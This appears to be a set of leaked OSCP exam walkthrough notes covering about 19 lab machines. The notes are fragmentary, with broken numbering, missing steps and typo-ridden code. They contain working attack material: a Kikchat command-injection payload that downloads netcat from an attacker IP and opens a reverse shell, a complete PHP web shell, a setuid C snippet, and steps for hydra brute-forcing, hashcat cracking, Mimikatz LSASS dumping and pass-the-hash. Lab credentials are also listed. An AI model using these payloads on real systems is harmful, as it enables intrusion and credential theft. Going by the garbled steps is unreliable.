OSCP - 2022 - Standalones - October - 19 Machines
OSCP - 2022 - Standalones - October - 19 Machines
1. Machine #1 − 192.168.1xx.110/111
Nmap result:
Open Ports: 22 - 3825 – 8089
Steps to reproduce the attack: Web application and ProFTPd 1.3.5. A rewritten exploit was
needed in order for successful code execution to occur. Once the exploit was rewritten, a
targeted attack was performed on the system which gave me initial access over the system.
From Nmap result we can see that ProFTPD 1.3.5 is running on the port 3825,
this version is vulnerable to a Remote Code Execution.
to
to
data = requests.get("http://" + self.__host +
":8098/level/backdoor.php?cmd=whoami")
/var/www/html/level
1ST WAY
This machine lighttpd running by the root account it has write permission
on the web root, so we are going to abuse that vulnerability.
$ curl -v http://localhost:5000/files/root.php
2ND Way:
Exploit: https://www.exploit-db.com/exploits/49911
2. Machine #2 − 192.168.1xx.111
From this credential we can now login to the system via RDP and command as
Admin.
3. Machine #3 − 192.168.1xx.110
This host is vulnerable to path traversal via uftpd 2.10, you can see version
in Nmap too
https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/P
ySplunkWhisperer2_local_python3.py
4. Machine #4 − 192.168.1xx.111
Mysql user define function is vulnerable, we use this to get initial foothold.
Use WinPeas to Enumerate Priv escs. Then we create payload using msfvenom.
/var/log/auth.log
Credential: root:MarshallNoodleLight345
6. Machine #6 − 192.168.1xx.111
Open Ports - TCP: 80 - 135 - 445 - 2121 - 2221 - 7680 - 9510 - 9512
$ searchsploit -m 49587
We can use WinPeas to Enumerate Privileges, from Winpeas result we know this
system is vulnerable to HiveNightmare
7. Machine #7 - 192.168.xxx.110
From Nmap result we know the FreeSwitch running on port 8081. We can use
exploit available on exploit-db website.
FreeSwitch - RCE
Download the Exploit from Exploit db
Run the Exploit python3 exp_switch.py 192.168.xxx.105 dir
Upload Netcat Binary
Execute the revershell using netcat
Machine #8 − 192.168.105.112
After fuzzing the machine using wfuzz, reveal robots.txt. it tell us hidden
directory. This Kikchat is vulnerable to LFI/command injection. We can
get POC from exploit-db.
https://www.exploit-db.com/exploits/30235
To Exploit:
curl -v http://192.168.xx.218/8678576453/rooms/get.php?name=info.php&ROOM="
<?php phpinfo()+?>"
curl -s http://192.168.XX.218/8678576453/rooms/get.php?
name=shell.php&ROOM="<php
file_put_contents('nc.bat',file_get_contens('http://192.168.XX.XX
nc.txt'));system('nc.bat');usleep(100000);system('nc.exe -vn 192.168.XX.XX
9001 -cmd.exe');+?>"
Then run netcat on attacker machine listening on port 9001. Then we got user
shell.
Use msfvenom to create reverse shell binary, upload the shell using curl like we
did before.
Get a Metasploit shell, then run the following command.
9. Machine #9 − 192.168.105.111
10.2 Root:
https://webcache.googleusercontent.com/search?q=cache:HjDfYH5Qj_YJ:https://git
hub.com/hatRiot/token-
priv/blob/master/poptoke/poptoke/SeCreateTokenPrivilege.cpp+&cd=1&hl=es&ct=cl
nk&gl=es&client=opera-gx
$ cd _0_tyken
After mouting the system, we can see notes.txt reveals the user tyken
created ssh key and we grab that.
/var/tmp/id_rsa
#include <stdio.h>
#include <stdlib.h>
#include
<sys/types.h>
#include <unistd.h>
setreuid(0,0);
system("/usr/bin/touch
/Im_Root");return(0);
Root!!!!
11. Machine #11 − 192.168.137.110
Ports : 22,80,7070
Scanning
Not much can be done with the ssh service as we do not have any
credentials on hand so lets come back to it later. Lets come back to it
later.
https://www.exploit-db.com/exploits/49613
https://github.com/0x09AL/my-exploits/blob/master/anydesk-
exploit.py
https://devel0pment.de/?p=1881
80 port
As for the http service we have only simple web page which have only
html layout. Nothing related with programming languages.
dirb / gobuster fodlers and files on web and found interesting one:
https://192.168.137.110/database_administration
INSERT INTO
mytable(Full_Name,Gender,Title,Date_of_Birth,SSN,Salary,Position,S
tatus,Server_Access,Username,Password) VALUES ('Margo J
Brown','female','Ms.','06/12/95','446-54-5724','$3,200.00','System
Administration','New
Employee','Yes','margo','BlueCarrotParachute341');
Reverse shell:
PE:
12. Machine #12 − 192.168.xxx.112
PE:
Ports 21,80,135,139,445,3389,5040,5466,…
http://192.168.xx.114:5466/
https://www.exploit-db.com/exploits/50720
Edit exploit
NC and got shell and flag.
Port 22,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8080
Go in
http://192.168.xx.112:8006/admin
http://192.168.xx.112:8006/admin/pages.php
http://192.168.xx.112:8006/?cmd=whoami
U got shell
2. run gobuster or similar on web port 80. This will find a folder called /scripts.
3. with browser, Navigate to http://192.168.XX.110/scripts/80/.
3. download and open the file wiki_setup.sh in text editor. This will show mysql
database credentials
4. login to mysqldatabse
# mysql -h 192.168.XX.110 -u <replace-this-with-DBUSER-username> -
p<replace-this-with-DBPASS-password>
5. mysql> show databases;
6. mysql> use mysql;
7. mysql> show tables;
8. mysql> show columns from user;
9. mysql> select User, authentication_string from user;
10. Save the usernames and password hashes for later use
11. mysql>exit
12. create a new text file and save all the hashes that are found in
authentication_string column in it.
# nano hashes.txt
note: save only hashes by removing * before each hash.
13. hashcat -m300 -a0 hashes.txt /usr/share/wordlists/rockyou.txt.gz
this will crack a username and password.
14. Use above cracked credentials to login in to SSH
15. SSH <replace-with-username>@192.168.XX.110
16. cat local.txt
Privesc:
1. $ sudo -l
Search for these allowed commands in https://gtfobins.github.io/
12. Now navigate back to the terminal where nc is listening on port 9090 and
notice that we gor a reverse shell with root access.
# cat /root/proof.txt
5. Navigate to http://192.168.XX.114/wp-content/plugins/mail-
masta/inc/campaign/count_of_send.php?pl=/etc/passwd
this will get usernames available in target server
6. Copy all the usernames and save them in a text file called usernames.txt for
later use
ftp> ls
ftp> download all files using get command in ftp one by one
ftp> get <filename1>
ftp> get <filename2>
ftp> bye
3. As these files are pdf files, open them and look for any sensitive info.
6. Now use hydra to check for any passwords match with the users we saved
earlier
# hydra -L users.txt -P passwords.txt ssh://192.168.XX.114
This will find a valid username and password.
1. $ sudo -l
Search for these allowed commands in https://gtfobins.github.io/
https://gtfobins.github.io/gtfobins/mawk/
4. get proof.txt
# cat /root/proof.txt
Ports: 21, 80, 135, 139, 445, 3389, 5040, 5357, 5466, 49664, 49665, 49666,
49667, 49668 , 49669, 49670
1.There’s an Anonymous FTP, after log in, you’ll find a FTP WING configuration
Backup.
2.Get the hash inside the file and crack it (It’s a MD5, u can use crackstation).
3.Now with the credentials you can log in the administration panel of port 5466
(Port 80 won’t work).
4. Now you’re inside, You have to create a new user who can see all the C:\
disk.
5.Log into the FTP with the created user, now you’ll find plaintext credentials in
on of the user desktops.
6.Access to the machine via RDP, and open an admin CMD (Right click=> Run
as administrator).
7.Use Mimikatz to dump LSASS and get the Administrator Hash OR you can
directly dump SAM and SYSTEM.
8. Login via Pass the hash into the machine via RDP, and now you are admin.
18. Machine #18 − 192.168.xxx.110
Ports: 21,22,80
https://www.exploit-db.com/exploits/50378
Edit the 404 page of the theme twenty twenty one (http://192.168.xx.110/wp-
admin/theme-editor.php?file=header.php&theme=twentytwentyone
) with the reverse shell.
Start a listener with netcat and Access to a page with gives error or the route to
the 404 page.
wordpress:tequieromucho
Now log in via SSH with the credentials and get the flag.
PORTS: 21,22,80,8080
RCE - https://www.exploit-db.com/exploits/49996
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']);
?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Now start a listener with netcat and get a rev shell via bash
Get flag.